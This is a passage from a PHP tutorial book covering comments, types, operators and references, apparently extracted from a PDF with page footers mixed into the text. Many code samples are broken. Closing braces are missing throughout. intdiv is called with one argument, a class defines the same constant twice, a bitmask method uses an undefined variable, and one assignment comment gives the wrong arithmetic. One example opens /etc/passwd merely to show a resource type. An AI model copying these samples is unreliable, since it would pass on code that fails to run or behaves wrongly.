Chapter 8: Comments

Section 8.1: Single Line Comments

The single line comment begins with "//" or "#". When encountered, all text to the right will be
ignored by the PHP

interpreter.

// This is a comment

# This is also a comment

echo "Hello World!"; // This is also a comment, beginning where we see "//"

Section 8.2: Multi Line Comments

The multi-line comment can be used to comment out large blocks of code. It begins with /* and ends
with */.

/* This is a multi-line comment.

It spans multiple lines.

This is still part of the comment.

*/

GoalKicker.com – PHP Notes for Professionals 46

Chapter 9: Types

Section 9.1: Type Comparison

There are two types of comparison: loose comparison with == and strict comparison with ===. Strict
comparison

ensures both the type and value of both sides of the operator are the same.

// Loose comparisons

var_dump(1 == 1); // true

var_dump(1 == "1"); // true

var_dump(1 == true); // true

var_dump(0 == false); // true

// Strict comparisons

var_dump(1 === 1); // true

var_dump(1 === "1"); // false

var_dump(1 === true); // false

var_dump(0 === false); // false

// Notable exception: NAN — it never is equal to anything

var_dump(NAN == NAN); // false

var_dump(NAN === NAN); // false

You can also use strong comparison to check if type and value don't match using !==.

A typical example where the == operator is not enough, are functions that can return different types,
like strpos,

which returns false if the searchword is not found, and the match position (int) otherwise:

if(strpos('text', 'searchword') == false)

// strpos returns false, so == comparison works as expected here, BUT:

if(strpos('text bla', 'text') == false)

// strpos returns 0 (found match at position 0) and 0==false is true.

// This is probably not what you expect!

if(strpos('text','text') === false)

// strpos returns 0, and 0===false is false, so this works as expected.

Section 9.2: Boolean

Boolean is a type, having two values, denoted as true or false.

This code sets the value of $foo as true and $bar as false:

$foo = true;
$bar = false;

true and false are not case sensitive, so TRUE and FALSE can be used as well, even FaLsE is possible.
Using lower

case is most common and recommended in most code style guides, e.g. PSR-2.

Booleans can be used in if statements like this:

if ($foo) { //same as evaluating if($foo == true)

echo "true";

Due to the fact that PHP is weakly typed, if $foo above is other than true or false, it's automatically
coerced to a

boolean value.

GoalKicker.com – PHP Notes for Professionals 47

The following values result in false:

a zero value: 0 (integer), 0.0 (float), or '0' (string)

an empty string '' or array []

null (the content of an unset variable, or assigned to a variable)

Any other value results in true.

To avoid this loose comparison, you can enforce strong comparison using ===, which compares value
and type. See

Type Comparison for details.

To convert a type into boolean, you can use the (bool) or (boolean) cast before the type.

var_dump((bool) "1"); //evaluates to true

or call the boolval function:

var_dump( boolval("1") ); //evaluates to true

Boolean conversion to a string (note that false yields an empty string):

var_dump( (string) true ); // string(1) "1"

var_dump( (string) false ); // string(0) ""

Boolean conversion to an integer:

var_dump( (int) true ); // int(1)

var_dump( (int) false ); // int(0)

Note that the opposite is also possible:

var_dump((bool) ""); // bool(false)

var_dump((bool) 1); // bool(true)

Also all non-zero will return true:

var_dump((bool) -2); // bool(true)

var_dump((bool) "foo"); // bool(true)

var_dump((bool) 2.3e5); // bool(true)

var_dump((bool) array(12)); // bool(true)

var_dump((bool) array()); // bool(false)

var_dump((bool) "false"); // bool(true)

Section 9.3: Float

$float = 0.123;

For historical reasons "double" is returned by gettype() in case of a float, and not simply "float"

Floats are floating point numbers, which allow more output precision than plain integers.

Floats and integers can be used together due to PHP's loose casting of variable types:

GoalKicker.com – PHP Notes for Professionals 48

$sum = 3 + 0.14;

echo $sum; // 3.14

php does not show float as float number like other languages, for example:

$var = 1;

echo ((float) $var); //returns 1 not 1.0

Warning
Floating point precision

(From the PHP manual page)

Floating point numbers have limited precision. Although it depends on the system, PHP typically give a

maximum relative error due to rounding in the order of 1.11e-16. Non elementary arithmetic
operations

may give larger errors, and error propagation must be considered when several operations are

compounded.

Additionally, rational numbers that are exactly representable as floating point numbers in base 10, like

0.1 or 0.7, do not have an exact representation as floating point numbers in base 2 (binary), which is
used

internally, no matter the size of the mantissa. Hence, they cannot be converted into their internal
binary

counterparts without a small loss of precision. This can lead to confusing results: for example,

floor((0.1+0.7)*10) will usually return 7 instead of the expected 8, since the internal representation
will be

something like 7.9999999999999991118....

So never trust floating number results to the last digit, and do not compare floating point numbers

directly for equality. If higher precision is necessary, the arbitrary precision math functions and gmp

functions are available.

Section 9.4: Strings

A string in PHP is a series of single-byte characters (i.e. there is no native Unicode support) that can be
specified in

four ways:

Single Quoted

Displays things almost completely "as is". Variables and most escape sequences will not be
interpreted. The

exception is that to display a literal single quote, one can escape it with a back slash ', and to display a
back slash,
one can escape it with another backslash \

$my_string = 'Nothing is parsed, except an escap\'d apostrophe or backslash. $foo\n';

var_dump($my_string);

/*

string(68) "Nothing is parsed, except an escap'd apostrophe or backslash. $foo\n"

*/

Double Quoted

GoalKicker.com – PHP Notes for Professionals 49

Unlike a single-quoted string, simple variable names and escape sequences in the strings will be
evaluated. Curly

braces (as in the last example) can be used to isolate complex variable names.

$variable1 = "Testing!";

$variable2 = [ "Testing?", [ "Failure", "Success" ] ];

$my_string = "Variables and escape characters are parsed:\n\n";

$my_string .= "$variable1\n\n$variable2[0]\n\n";

$my_string .= "There are limits: $variable2[1][0]";

$my_string .= "But we can get around them by wrapping the whole variable in braces:

{$variable2[1][1]}";

var_dump($my_string);

/*

string(98) "Variables and escape characters are parsed:

Testing!

Testing?

There are limits: Array[0]"

But we can get around them by wrapping the whole variable in braces: Success

*/
Heredoc

In a heredoc string, variable names and escape sequences are parsed in a similar manner to double-
quoted strings,

though braces are not available for complex variable names. The start of the string is delimited by
<<<identifier,

and the end by identifier, where identifier is any valid PHP name. The ending identifier must appear on
a line

by itself. No whitespace is allowed before or after the identifier, although like any line in PHP, it must
also be

terminated by a semicolon.

$variable1 = "Including text blocks is easier";

$my_string = <<< EOF

Everything is parsed in the same fashion as a double-quoted string,

but there are advantages. $variable1; database queries and HTML output

can benefit from this formatting.

Once we hit a line containing nothing but the identifier, the string ends.

EOF;

var_dump($my_string);

/*

string(268) "Everything is parsed in the same fashion as a double-quoted string,

but there are advantages. Including text blocks is easier; database queries and HTML output

can benefit from this formatting.

Once we hit a line containing nothing but the identifier, the string ends."

*/

Nowdoc

A nowdoc string is like the single-quoted version of heredoc, although not even the most basic escape
sequences
are evaluated. The identifier at the beginning of the string is wrapped in single quotes.

PHP 5.x Version ≥ 5.3

$my_string = <<< 'EOF'

A similar syntax to heredoc but, similar to single quoted strings,

nothing is parsed (not even escaped apostrophes \' and backslashes \\.)

GoalKicker.com – PHP Notes for Professionals 50

EOF;

var_dump($my_string);

/*

string(116) "A similar syntax to heredoc but, similar to single quoted strings,

nothing is parsed (not even escaped apostrophes \' and backslashes \\.)"

*/

Section 9.5: Callable

Callables are anything which can be called as a callback. Things that can be termed a "callback" are as
follows:

Anonymous functions

Standard PHP functions (note: not language constructs)

Static Classes

non-static Classes (using an alternate syntax)

Specific Object/Class Methods

Objects themselves, as long as the object is found in key 0 of an array

Example Of referencing an object as an array element:

$obj = new MyClass();

call_user_func([$obj, 'myCallbackMethod']);

Callbacks can be denoted by callable type hint as of PHP 5.4.

$callable = function () {
return 'value';

};

function call_something(callable $fn) {

call_user_func($fn);

call_something($callable);

Section 9.6: Resources

A resource is a special type of variable that references an external resource, such as a file, socket,
stream,

document, or connection.

$file = fopen('/etc/passwd', 'r');

echo gettype($file);

# Out: resource

echo $file;

# Out: Resource id #2

There are different (sub-)types of resource. You can check the resource type using
get_resource_type():

$file = fopen('/etc/passwd', 'r');

GoalKicker.com – PHP Notes for Professionals 51

echo get_resource_type($file);

#Out: stream

$sock = fsockopen('www.google.com', 80);

echo get_resource_type($sock);

#Out: stream

You can find a complete list of built-in resource types here.

Section 9.7: Type Casting

PHP will generally correctly guess the data type you intend to use from the context it's used in,
however sometimes

it is useful to manually force a type. This can be accomplished by prefixing the declaration with the
name of the

required type in parenthesis:

$bool = true;

var_dump($bool); // bool(true)

$int = (int) true;

var_dump($int); // int(1)

$string = (string) true;

var_dump($string); // string(1) "1"

$string = (string) false;

var_dump($string); // string(0) ""

$float = (float) true;

var_dump($float); // float(1)

$array = ['x' => 'y'];

var_dump((object) $array); // object(stdClass)#1 (1) { ["x"]=> string(1) "y" }

$object = new stdClass();

$object->x = 'y';

var_dump((array) $object); // array(1) { ["x"]=> string(1) "y" }

$string = "asdf";

var_dump((unset)$string); // NULL

But be careful: not all type casts work as one might expect:

// below 3 statements hold for 32-bits systems (PHP_INT_MAX=2147483647)

// an integer value bigger than PHP_INT_MAX is automatically converted to float:

var_dump( 999888777666 ); // float(999888777666)

// forcing to (int) gives overflow:

var_dump((int) 999888777666 ); // int(-838602302)

// but in a string it just returns PHP_INT_MAX

var_dump((int) "999888777666"); // int(2147483647)

var_dump((bool) []); // bool(false) (empty array)

var_dump((bool) [false]); // bool(true) (non-empty array)

Section 9.8: Type Juggling

PHP is a weakly-typed language. It does not require explicit declaration of data types. The context in
which the

variable is used determines its data type; conversion is done automatically:

$a = "2"; // string

GoalKicker.com – PHP Notes for Professionals 52

$a = $a + 2; // integer (4)

$a = $a + 0.5; // float (4.5)

$a = 1 + "2 oranges"; // integer (3)

Section 9.9: Null

PHP represents "no value" with the null keyword. It's somewhat similar to the null pointer in C-
language and to the

NULL value in SQL.

Setting the variable to null:

$nullvar = null; // directly

function doSomething() {} // this function does not return anything

$nullvar = doSomething(); // so the null is assigned to $nullvar

Checking if the variable was set to null:

if (is_null($nullvar)) { /* variable is null */ }

if ($nullvar === null) { /* variable is null */ }

Null vs undefined variable

If the variable was not defined or was unset then any tests against the null will be successful but they
will also

generate a Notice: Undefined variable: nullvar:

$nullvar = null;

unset($nullvar);

if ($nullvar === null) { /* true but also a Notice is printed */ }

if (is_null($nullvar)) { /* true but also a Notice is printed */ }

Therefore undefined values must be checked with isset:

if (!isset($nullvar)) { /* variable is null or is not even defined */ }

Section 9.10: Integers

Integers in PHP can be natively specified in base 2 (binary), base 8 (octal), base 10 (decimal), or base
16

(hexadecimal.)

$my_decimal = 42;

$my_binary = 0b101010;

$my_octal = 052;

$my_hexadecimal = 0x2a;

echo ($my_binary + $my_octal) / 2;

// Output is always in decimal: 42

Integers are 32 or 64 bits long, depending on the platform. The constant PHP_INT_SIZE holds integer
size in bytes.

PHP_INT_MAX and (since PHP 7.0) PHP_INT_MIN are also available.

printf("Integers are %d bits long" . PHP_EOL, PHP_INT_SIZE * 8);

printf("They go up to %d" . PHP_EOL, PHP_INT_MAX);

Integer values are automatically created as needed from floats, booleans, and strings. If an explicit
typecast is
GoalKicker.com – PHP Notes for Professionals 53

needed, it can be done with the (int) or (integer) cast:

$my_numeric_string = "123";

var_dump($my_numeric_string);

// Output: string(3) "123"

$my_integer = (int)$my_numeric_string;

var_dump($my_integer);

// Output: int(123)

Integer overflow will be handled by conversion to a float:

$too_big_integer = PHP_INT_MAX + 7;

var_dump($too_big_integer);

// Output: float(9.2233720368548E+18)

There is no integer division operator in PHP, but it can be simulated using an implicit cast, which
always 'rounds' by

just discarding the float-part. As of PHP version 7, an integer division function was added.

$not_an_integer = 25 / 4;

var_dump($not_an_integer);

// Output: float(6.25)

var_dump((int) (25 / 4)); // (see note below)

// Output: int(6)

var_dump(intdiv(25 / 4)); // as of PHP7

// Output: int(6)

(Note that the extra parentheses around (25 / 4) are needed because the (int) cast has higher
precedence than

the division)

GoalKicker.com – PHP Notes for Professionals 54

Chapter 10: Operators

An operator is something that takes one or more values (or expressions, in programming jargon) and
yields

another value (so that the construction itself becomes an expression).

Operators can be grouped according to the number of values they take.

Section 10.1: Null Coalescing Operator (??)

Null coalescing is a new operator introduced in PHP 7. This operator returns its first operand if it is set
and not

NULL. Otherwise it will return its second operand.

The following example:

$name = $_POST['name'] ?? 'nobody';

is equivalent to both:

if (isset($_POST['name'])) {

$name = $_POST['name'];

} else {

$name = 'nobody';

and:

$name = isset($_POST['name']) ? $_POST['name'] : 'nobody';

This operator can also be chained (with right-associative semantics):

$name = $_GET['name'] ?? $_POST['name'] ?? 'nobody';

which is an equivalent to:

if (isset($_GET['name'])) {

$name = $_GET['name'];

} elseif (isset($_POST['name'])) {

$name = $_POST['name'];
} else {

$name = 'nobody';

Note:

When using coalescing operator on string concatenation don't forget to use parentheses ()

$firstName = "John";

$lastName = "Doe";

echo $firstName ?? "Unknown" . " " . $lastName ?? "";

This will output John only, and if its $firstName is null and $lastName is Doe it will output Unknown
Doe. In order to

output John Doe, we must use parentheses like this.

$firstName = "John";

$lastName = "Doe";

GoalKicker.com – PHP Notes for Professionals 55

echo ($firstName ?? "Unknown") . " " . ($lastName ?? "");

This will output John Doe instead of John only.

Section 10.2: Spaceship Operator (<=>)

PHP 7 introduces a new kind of operator, which can be used to compare expressions. This operator will
return -1, 0

or 1 if the first expression is less than, equal to, or greater than the second expression.

// Integers

print (1 <=> 1); // 0

print (1 <=> 2); // -1

print (2 <=> 1); // 1

// Floats

print (1.5 <=> 1.5); // 0

print (1.5 <=> 2.5); // -1

print (2.5 <=> 1.5); // 1

// Strings

print ("a" <=> "a"); // 0

print ("a" <=> "b"); // -1

print ("b" <=> "a"); // 1

Objects are not comparable, and so doing so will result in undefined behaviour.

This operator is particularly useful when writing a user-defined comparison function using usort,
uasort, or

uksort. Given an array of objects to be sorted by their weight property, for example, an anonymous
function can

use <=> to return the value expected by the sorting functions.

usort($list, function($a, $b) { return $a->weight <=> $b->weight; });

In PHP 5 this would have required a rather more elaborate expression.

usort($list, function($a, $b) {

return $a->weight < $b->weight ? -1 : ($a->weight == $b->weight ? 0 : 1);

});

Section 10.3: Execution Operator (``)

The PHP execution operator consists of backticks (``) and is used to run shell commands. The output of
the

command will be returned, and may, therefore, be stored in a variable.

// List files

$output = `ls`;

echo "<pre>$output</pre>";

Note that the execute operator and shell_exec() will give the same result.

Section 10.4: Incrementing (++) and Decrementing Operators

(--)
Variables can be incremented or decremented by 1 with ++ or --, respectively. They can either precede
or succeed

variables and slightly vary semantically, as shown below.

GoalKicker.com – PHP Notes for Professionals 56

$i = 1;

echo $i; // Prints 1

// Pre-increment operator increments $i by one, then returns $i

echo ++$i; // Prints 2

// Pre-decrement operator decrements $i by one, then returns $i

echo --$i; // Prints 1

// Post-increment operator returns $i, then increments $i by one

echo $i++; // Prints 1 (but $i value is now 2)

// Post-decrement operator returns $i, then decrements $i by one

echo $i--; // Prints 2 (but $i value is now 1)

More information about incrementing and decrementing operators can be found in the official
documentation.

Section 10.5: Ternary Operator (?:)

The ternary operator can be thought of as an inline if statement. It consists of three parts. The
operator, and two

outcomes. The syntax is as follows:

$value = <operator> ? <true value> : <false value>

If the operator is evaluated as true, the value in the first block will be returned (<true value>), else the
value in the

second block will be returned (<false value>). Since we are setting $value to the result of our ternary
operator it

will store the returned value.

Example:
$action = empty($_POST['action']) ? 'default' : $_POST['action'];

$action would contain the string 'default' if empty($_POST['action']) evaluates to true. Otherwise it
would

contain the value of $_POST['action'].

The expression (expr1) ? (expr2) : (expr3) evaluates to expr2 if expr1evaluates to true, and expr3 if
expr1

evaluates to false.

It is possible to leave out the middle part of the ternary operator. Expression expr1 ?: expr3 returns
expr1 if expr1

evaluates to TRUE, and expr3 otherwise. ?: is often referred to as Elvis operator.

This behaves like the Null Coalescing operator ??, except that ?? requires the left operand to be exactly
null while

?: tries to resolve the left operand into a boolean and check if it resolves to boolean false.

Example:

function setWidth(int $width = 0){

$_SESSION["width"] = $width ?: getDefaultWidth();

In this example, setWidth accepts a width parameter, or default 0, to change the width session value.
If $width is 0

(if $width is not provided), which will resolve to boolean false, the value of getDefaultWidth() is used
instead. The

getDefaultWidth() function will not be called if $width did not resolve to boolean false.

Refer to Types for more information about conversion of variables to boolean.

GoalKicker.com – PHP Notes for Professionals 57

Section 10.6: Logical Operators (&&/AND and ||/OR)

In PHP, there are two versions of logical AND and OR operators.

Operator True if

$a and $b Both $a and $b are true

$a && $b Both $a and $b are true

$a or $b Either $a or $b is true

$a || $b Either $a or $b is true

Note that the && and || opererators have higher precedence than and and or. See table below:

Evaluation Result of $e Evaluated as

$e = false || true True $e = (false || true)

$e = false or true False ($e = false) or true

Because of this it's safer to use && and || instead of and and or.

Section 10.7: String Operators (. and .=)

There are only two string operators:

Concatenation of two strings (dot):

$a = "a";

$b = "b";

$c = $a . $b; // $c => "ab"

Concatenating assignment (dot=):

$a = "a";

$a .= "b"; // $a => "ab"

Section 10.8: Object and Class Operators

Members of objects or classes can be accessed using the object operator (->) and the class operator
(::).

class MyClass {

public $a = 1;

public static $b = 2;

const C = 3;

public function d() { return 4; }

public static function e() { return 5; }

}

$object = new MyClass();

var_dump($object->a); // int(1)

var_dump($object::$b); // int(2)

var_dump($object::C); // int(3)

var_dump(MyClass::$b); // int(2)

var_dump(MyClass::C); // int(3)

var_dump($object->d()); // int(4)

var_dump($object::d()); // int(4)

var_dump(MyClass::e()); // int(5)

$classname = "MyClass";

GoalKicker.com – PHP Notes for Professionals 58

var_dump($classname::e()); // also works! int(5)

Note that after the object operator, the $ should not be written ($object->a instead of $object->$a).
For the class

operator, this is not the case and the $ is necessary. For a constant defined in the class, the $ is never
used.

Also note that var_dump(MyClass::d()); is only allowed if the function d() does not reference the
object:

class MyClass {

private $a = 1;

public function d() {

return $this->a;

$object = new MyClass();

var_dump(MyClass::d()); // Error!
This causes a 'PHP Fatal error: Uncaught Error: Using $this when not in object context'

These operators have left associativity, which can be used for 'chaining':

class MyClass {

private $a = 1;

public function add(int $a) {

$this->a += $a;

return $this;

public function get() {

return $this->a;

$object = new MyClass();

var_dump($object->add(4)->get()); // int(5)

These operators have the highest precedence (they are not even mentioned in the manual), even
higher that clone.

Thus:

class MyClass {

private $a = 0;

public function add(int $a) {

$this->a += $a;

return $this;

public function get() {

return $this->a;

$o1 = new MyClass();

$o2 = clone $o1->add(2);

var_dump($o1->get()); // int(2)

var_dump($o2->get()); // int(2)

The value of $o1 is added to before the object is cloned!

Note that using parentheses to influence precedence did not work in PHP version 5 and older (it does
in PHP 7):

GoalKicker.com – PHP Notes for Professionals 59

// using the class MyClass from the previous code

$o1 = new MyClass();

$o2 = (clone $o1)->add(2); // Error in PHP 5 and before, fine in PHP 7

var_dump($o1->get()); // int(0) in PHP 7

var_dump($o2->get()); // int(2) in PHP 7

Section 10.9: Combined Assignment (+= etc)

The combined assignment operators are a shortcut for an operation on some variable and
subsequently assigning

this new value to that variable.

Arithmetic:

$a = 1; // basic assignment

$a += 2; // read as '$a = $a + 2'; $a now is (1 + 2) => 3

$a -= 1; // $a now is (3 - 1) => 2

$a *= 2; // $a now is (2 * 2) => 4

$a /= 2; // $a now is (16 / 2) => 8

$a %= 5; // $a now is (8 % 5) => 3 (modulus or remainder)

// array +

$arrOne = array(1);

$arrTwo = array(2);

$arrOne += $arrTwo;

Processing Multiple Arrays Together

$a **= 2; // $a now is (4 ** 2) => 16 (4 raised to the power of 2)

Combined concatenation and assignment of a string:

$a = "a";

$a .= "b"; // $a => "ab"

Combined binary bitwise assignment operators:

$a = 0b00101010; // $a now is 42

$a &= 0b00001111; // $a now is (00101010 & 00001111) => 00001010 (bitwise and)

$a |= 0b00100010; // $a now is (00001010 | 00100010) => 00101010 (bitwise or)

$a ^= 0b10000010; // $a now is (00101010 ^ 10000010) => 10101000 (bitwise xor)

$a >>= 3; // $a now is (10101000 >> 3) => 00010101 (shift right by 3)

$a <<= 1; // $a now is (00010101 << 1) => 00101010 (shift left by 1)

Section 10.10: Altering operator precedence (with

parentheses)

The order in which operators are evaluated is determined by the operator precedence (see also the
Remarks

section).

In

$a = 2 * 3 + 4;

$a gets a value of 10 because 2 * 3 is evaluated first (multiplication has a higher precedence than
addition) yielding
a sub-result of 6 + 4, which equals to 10.

GoalKicker.com – PHP Notes for Professionals 60

The precedence can be altered using parentheses: in

$a = 2 * (3 + 4);

$a gets a value of 14 because (3 + 4) is evaluated first.

Section 10.11: Basic Assignment (=)

$a = "some string";

results in $a having the value some string.

The result of an assignment expression is the value being assigned. Note that a single equal sign = is
NOT for

comparison!

$a = 3;

$b = ($a = 5);

does the following:

1. Line 1 assigns 3 to $a.

2. Line 2 assigns 5 to $a. This expression yields value 5 as well.

3. Line 2 then assigns the result of the expression in parentheses (5) to $b.

Thus: both $a and $b now have value 5.

Section 10.12: Association

Left association

If the preceedence of two operators is equal, the associativity determines the grouping (see also the
Remarks

section):

$a = 5 * 3 % 2; // $a now is (5 * 3) % 2 => (15 % 2) => 1

* and % have equal precedence and left associativity. Because the multiplication occurs first (left), it is
grouped.

$a = 5 % 3 * 2; // $a now is (5 % 3) * 2 => (2 * 2) => 4

Now, the modulus operator occurs first (left) and is thus grouped.

Right association

$a = 1;

$b = 1;

$a = $b += 1;

Both $a and $b now have value 2 because $b += 1 is grouped and then the result ($b is 2) is assigned
to $a.

Section 10.13: Comparison Operators

Equality

For basic equality testing, the equal operator == is used. For more comprehensive checks, use the
identical operator

===.

GoalKicker.com – PHP Notes for Professionals 61

The identical operator works the same as the equal operator, requiring its operands have the same
value, but also

requires them to have the same data type.

For example, the sample below will display 'a and b are equal', but not 'a and b are identical'.

$a = 4;

$b = '4';

if ($a == $b) {

echo 'a and b are equal'; // this will be printed

if ($a === $b) {

echo 'a and b are identical'; // this won't be printed

When using the equal operator, numeric strings are cast to integers.

Comparison of objects
=== compares two objects by checking if they are exactly the same instance. This means that new
stdClass() ===

new stdClass() resolves to false, even if they are created in the same way (and have the exactly same
values).

== compares two objects by recursively checking if they are equal (deep equals). That means, for $a ==
$b, if $a and

$b are:

1. of the same class

2. have the same properties set, including dynamic properties

3. for each property $property set, $a->property == $b->property is true (hence recursively checked).

Other commonly used operators

They include:

1. Greater Than (>)

2. Lesser Than (<)

3. Greater Than Or Equal To (>=)

4. Lesser Than Or Equal To (<=)

5. Not Equal To (!=)

6. Not Identically Equal To (!==)

1. Greater Than: $a > $b, returns true if $a's value is greater than of $b, otherwise returns false.

Example:

var_dump(5 > 2); // prints bool(true)

var_dump(2 > 7); // prints bool(false)

2. Lesser Than: $a < $b, returns true if $a's value is smaller that of $b, otherwise returns false.

Example:

var_dump(5 < 2); // prints bool(false)

var_dump(1 < 10); // prints bool(true)

3. Greater Than Or Equal To: $a >= $b, returns true if $a's value is either greater than of $b or equal to
$b,

otherwise returns false.

Example:

GoalKicker.com – PHP Notes for Professionals 62

var_dump(2 >= 2); // prints bool(true)

var_dump(6 >= 1); // prints bool(true)

var_dump(1 >= 7); // prints bool(false)

4. Smaller Than Or Equal To: $a <= $b, returns true if $a's value is either smaller than of $b or equal to
$b,

otherwise returns false.

Example:

var_dump(5 <= 5); // prints bool(true)

var_dump(5 <= 8); // prints bool(true)

var_dump(9 <= 1); // prints bool(false)

5/6. Not Equal/Identical To: To rehash the earlier example on equality, the sample below will display 'a
and b are

not identical', but not 'a and b are not equal'.

$a = 4;

$b = '4';

if ($a != $b) {

echo 'a and b are not equal'; // this won't be printed

if ($a !== $b) {

echo 'a and b are not identical'; // this will be printed

Section 10.14: Bitwise Operators

Prefix bitwise operators

Bitwise operators are like logical operators but executed per bit rather than per boolean value.

// bitwise NOT ~: sets all unset bits and unsets all set bits

printf("%'06b", ~0b110110); // 001001

Bitmask-bitmask operators

Bitwise AND &: a bit is set only if it is set in both operands

printf("%'06b", 0b110101 & 0b011001); // 010001

Bitwise OR |: a bit is set if it is set in either or both operands

printf("%'06b", 0b110101 | 0b011001); // 111101

Bitwise XOR ^: a bit is set if it is set in one operand and not set in another operand, i.e. only if that bit
is in different

state in the two operands

printf("%'06b", 0b110101 ^ 0b011001); // 101100

Example uses of bitmasks

These operators can be used to manipulate bitmasks. For example:

file_put_contents("file.log", LOCK_EX | FILE_APPEND);

Here, the | operator is used to combine the two bitmasks. Although + has the same effect, |
emphasizes that you

GoalKicker.com – PHP Notes for Professionals 63

are combining bitmasks, not adding two normal scalar integers.

class Foo{

const OPTION_A = 1;

const OPTION_B = 2;

const OPTION_C = 4;

const OPTION_A = 8;

private $options = self::OPTION_A | self::OPTION_C;

public function toggleOption(int $option){

$this->options ^= $option;

public function enable(int $option){

$this->options |= $option; // enable $option regardless of its original state

public function disable(int $option){

$this->options &= ~$option; // disable $option regardless of its original state,

// without affecting other bits

/** returns whether at least one of the options is enabled */

public function isOneEnabled(int $options) : bool{

return $this->options & $option !== 0;

// Use !== rather than >, because

// if $options is about a high bit, we may be handling a negative integer

/** returns whether all of the options are enabled */

public function areAllEnabled(int $options) : bool{

return ($this->options & $options) === $options;

// note the parentheses; beware the operator precedence

This example (assuming $option always only contain one bit) uses:

the ^ operator to conveniently toggle bitmasks.

the | operator to set a bit neglecting its original state or other bits
the ~ operator to convert an integer with only one bit set into an integer with only one bit not set

the & operator to unset a bit, using these properties of &:

Since &= with a set bit will not do anything ((1 & 1) === 1, (0 & 1) === 0), doing &= with an integer

with only one bit not set will only unset that bit, not affecting other bits.

&= with an unset bit will unset that bit ((1 & 0) === 0, (0 & 0) === 0)

Using the & operator with another bitmask will filter away all other bits not set in that bitmask.

If the output has any bits set, it means that any one of the options are enabled.

If the output has all bits of the bitmask set, it means that all of the options in the bitmask are enabled.

Bear in mind that these comparison operators: (< > <= >= == === != !== <> <=>) have higher precedence
than these

bitmask-bitmask operators: (| ^ &). As bitwise results are often compared using these comparison
operators, this is

a common pitfall to be aware of.

Bit-shifting operators

Bitwise left shift <<: shift all bits to the left (more significant) by the given number of steps and discard
the bits

exceeding the int size

GoalKicker.com – PHP Notes for Professionals 64

<< $x is equivalent to unsetting the highest $x bits and multiplying by the $xth power of 2

printf("%'08b", 0b00001011<< 2); // 00101100

assert(PHP_INT_SIZE === 4); // a 32-bit system

printf("%x, %x", 0x5FFFFFFF << 2, 0x1FFFFFFF << 4); // 7FFFFFFC, FFFFFFFF

Bitwise right shift >>: discard the lowest shift and shift the remaining bits to the right (less significant)

>> $x is equivalent to dividing by the $xth power of 2 and discard the non-integer part

printf("%x", 0xFFFFFFFF >> 3); // 1FFFFFFF

Example uses of bit shifting:

Fast division by 16 (better performance than /= 16)

$x >>= 4;

On 32-bit systems, this discards all bits in the integer, setting the value to 0. On 64-bit systems, this
unsets the most

significant 32 bits and keep the least

$x = $x << 32 >> 32;

significant 32 bits, equivalent to $x & 0xFFFFFFFF

Note: In this example, printf("%'06b") is used. It outputs the value in 6 binary digits.

Section 10.15: instanceof (type operator)

For checking whether some object is of a certain class, the (binary) instanceof operator can be used
since PHP

version 5.

The first (left) parameter is the object to test. If this variable is not an object, instanceof always returns
false. If a

constant expression is used, an error is thrown.

The second (right) parameter is the class to compare with. The class can be provided as the class name
itself, a

string variable containing the class name (not a string constant!) or an object of that class.

class MyClass {

$o1 = new MyClass();

$o2 = new MyClass();

$name = 'MyClass';

// in the cases below, $a gets boolean value true

$a = $o1 instanceof MyClass;

$a = $o1 instanceof $name;

$a = $o1 instanceof $o2;

// counter examples:
$b = 'b';

$a = $o1 instanceof 'MyClass'; // parse error: constant not allowed

$a = false instanceof MyClass; // fatal error: constant not allowed

$a = $b instanceof MyClass; // false ($b is not an object)

GoalKicker.com – PHP Notes for Professionals 65

instanceof can also be used to check whether an object is of some class which extends another class or

implements some interface:

interface MyInterface {

class MySuperClass implements MyInterface {

class MySubClass extends MySuperClass {

$o = new MySubClass();

// in the cases below, $a gets boolean value true

$a = $o instanceof MySubClass;

$a = $o instanceof MySuperClass;

$a = $o instanceof MyInterface;

To check whether an object is not of some class, the not operator (!) can be used:

class MyClass {

class OtherClass {

$o = new MyClass();

$a = !$o instanceof OtherClass; // true

Note that parentheses around $o instanceof MyClass are not needed because instanceof has higher
precedence

than !, although it may make the code better readable with parentheses.

Caveats

If a class does not exist, the registered autoload functions are called to try to define the class (this is a
topic outside

the scope of this part of the Documentation!). In PHP versions before 5.1.0, the instanceof operator
would also

trigger these calls, thus actually defining the class (and if the class could not be defined, a fatal error
would occur).

To avoid this, use a string:

// only PHP versions before 5.1.0!

class MyClass {

$o = new MyClass();

$a = $o instanceof OtherClass; // OtherClass is not defined!

// if OtherClass can be defined in a registered autoloader, it is actually

// loaded and $a gets boolean value false ($o is not a OtherClass)

// if OtherClass can not be defined in a registered autoloader, a fatal

// error occurs.

$name = 'YetAnotherClass';

$a = $o instanceof $name; // YetAnotherClass is not defined!

// $a simply gets boolean value false, YetAnotherClass remains undefined.

As of PHP version 5.1.0, the registered autoloaders are not called anymore in these situations.

Older versions of PHP (before 5.0)

GoalKicker.com – PHP Notes for Professionals 66

In older versions of PHP (before 5.0), the is_a function can be used to determine wether an object is of
some class.

This function was deprecated in PHP version 5 and undeprecated in PHP version 5.3.0.

GoalKicker.com – PHP Notes for Professionals 67

Chapter 11: References

Section 11.1: Assign by Reference

This is the first phase of referencing. Essentially when you assign by reference, you're allowing two
variables to

share the same value as such.

$foo = &$bar;

$foo and $bar are equal here. They do not point to one another. They point to the same place (the
"value").

You can also assign by reference within the array() language construct. While not strictly being an
assignment by

reference.

$foo = 'hi';

$bar = array(1, 2);

$array = array(&$foo, &$bar[0]);

Note, however, that references inside arrays are potentially dangerous. Doing a normal (not by

reference) assignment with a reference on the right side does not turn the left side into a reference,
but

references inside arrays are preserved in these normal assignments. This also applies to function calls

where the array is passed by value.

Assigning by reference is not only limited to variables and arrays, they are also present for functions
and all "passby-reference" associations.

function incrementArray(&$arr) {

foreach ($arr as &$val) {

$val++;
}

function &getArray() {

static $arr = [1, 2, 3];

return $arr;

incrementArray(getArray());

var_dump(getArray()); // prints an array [2, 3, 4]

Assignment is key within the function definition as above. You can not pass an expression by
reference, only a

value/variable. Hence the instantiation of $a in bar().

Section 11.2: Return by Reference

Occasionally there comes time for you to implicitly return-by-reference.

Returning by reference is useful when you want to use a function to find to which variable a reference

should be bound. Do not use return-by-reference to increase performance. The engine will
automatically

optimize this on its own. Only return references when you have a valid technical reason to do so.

GoalKicker.com – PHP Notes for Professionals 68

Taken from the PHP Documentation for Returning By Reference.

There are many different forms return by reference can take, including the following example:

function parent(&$var) {

echo $var;

$var = "updated";

function &child() {

static $a = "test";
return $a;

parent(child()); // returns "test"

parent(child()); // returns "updated"

Return by reference is not only limited to function references. You also have the ability to implicitly
call the function:

function &myFunction() {

